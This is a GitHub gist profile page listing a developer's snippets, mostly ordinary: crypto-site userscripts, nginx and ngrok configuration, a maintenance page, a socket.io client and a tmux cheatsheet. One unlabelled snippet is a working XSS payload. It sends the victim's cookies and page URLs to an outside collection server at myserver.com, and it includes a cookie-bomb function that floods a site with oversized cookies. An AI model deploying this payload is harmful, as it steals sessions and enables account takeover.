Skip to content

Instantly share code, notes, and snippets.

View TangMonk's full-sized avatar
🏠
Working from home

David Wu TangMonk

🏠
Working from home
  • Tuols
  • China Chengdu
  • 16:06 (UTC -12:00)
View GitHub Profile
@TangMonk
TangMonk / gist:b67a49c2c9bc80295f3ea2388730b191
Created March 2, 2024 10:29
Dexscreener Avatar Improve
// ==UserScript==
// @name Dexscreener Avatar Improve
// @namespace http://tampermonkey.net/
// @version 1.3
// @description Fetch notes for Ethereum addresses and display them as real popovers on hover
// @author You
// @match https://dexscreener.com/ethereum/*
// @grant GM_xmlhttpRequest
// ==/UserScript==
@TangMonk
TangMonk / gist:3d53c887f1f250efb47ce30dd5004b07
Last active February 26, 2023 10:28
nginx rails proxy forward
upstream app {
server 127.0.0.1:3000;
}
server {
listen 3003 default_server;
root /home/david/uniswap_monitor_admin/public;
server_name _;
@TangMonk
TangMonk / Uniswap_Friendly_Slippage.js
Last active February 27, 2023 14:46
Uniswap Friendly Slippage
// ==UserScript==
// @name Unicrypt Slippage Notify
// @namespace http://tampermonkey.net/
// @version 0.1
// @description try to take over the world!
// @author You
// @match https://app.uniswap.org/
// @icon https://www.google.com/s2/favicons?sz=64&domain=uniswap.org
// @grant none
// ==/UserScript==
@TangMonk
TangMonk / putixin.com 调试工具
Last active December 19, 2019 07:57
tampermonkey 插件
// ==UserScript==
// @name New Userscript
// @namespace http://tampermonkey.net/
// @version 0.1
// @description try to take over the world!
// @author You
// @match http://putixin.com/
// @grant none
// ==/UserScript==
@TangMonk
TangMonk / ngrok-selfhosting-setup.md
Created June 12, 2017 07:51 — forked from lyoshenka/ngrok-selfhosting-setup.md
How to setup Ngrok with a self-signed SSL cert

Intro

The plan is to create a pair of executables (ngrok and ngrokd) that are connected with a self-signed SSL cert. Since the client and server executables are paired, you won't be able to use any other ngrok to connect to this ngrokd, and vice versa.

DNS

Add two DNS records: one for the base domain and one for the wildcard domain. For example, if your base domain is domain.com, you'll need a record for that and for *.domain.com.

Different Operating Systems

(function(){(new Image()).src='http://myserver.com/xss//index.php?do=api&id=kQjOff&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if(''==1){keep=new Image();keep.src='http://myserver.com/xss//index.php?do=keepsession&id=kQjOff&url='+escape(document.location)+'&cookie='+escape(document.cookie)};
function setCookies () {
/*apache server limit 8192*/
var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
for (i = 0; i < 10; i++) {
var cookie = "ray"+i+"="+str+";path=/";
@TangMonk
TangMonk / gist:492402102edecea2baa5
Last active August 29, 2015 14:28 — forked from pitch-gist/gist:2999707
HTML: Simple Maintenance Page
<!doctype html>
<title>网站维护中</title>
<style>
body { text-align: center; padding: 150px; }
h1 { font-size: 50px; }
body { font: 20px Helvetica, sans-serif; color: #333; }
article { display: block; text-align: left; width: 650px; margin: 0 auto; }
a { color: #dc8100; text-decoration: none; }
a:hover { color: #333; text-decoration: none; }
</style>
@TangMonk
TangMonk / client.js
Last active August 29, 2015 14:13 — forked from redism/client.js
/**
* A simple socket.io client for performance benchmark
*
* Created by redism on 2014. 4. 22..
*/
var SocketIO = require('socket.io-client'),
argv = require('optimist').argv;
var n = argv.n || 10;
#!/bin/bash
##
# File:
# nginx_modsite
# Description:
# Provides a basic script to automate enabling and disabling websites found
# in the default configuration directories:
# /etc/nginx/sites-available and /etc/nginx/sites-enabled
# For easy access to this script, copy it into the directory:

tmux cheatsheet

As configured in my dotfiles.

start new:

tmux

start new with session name: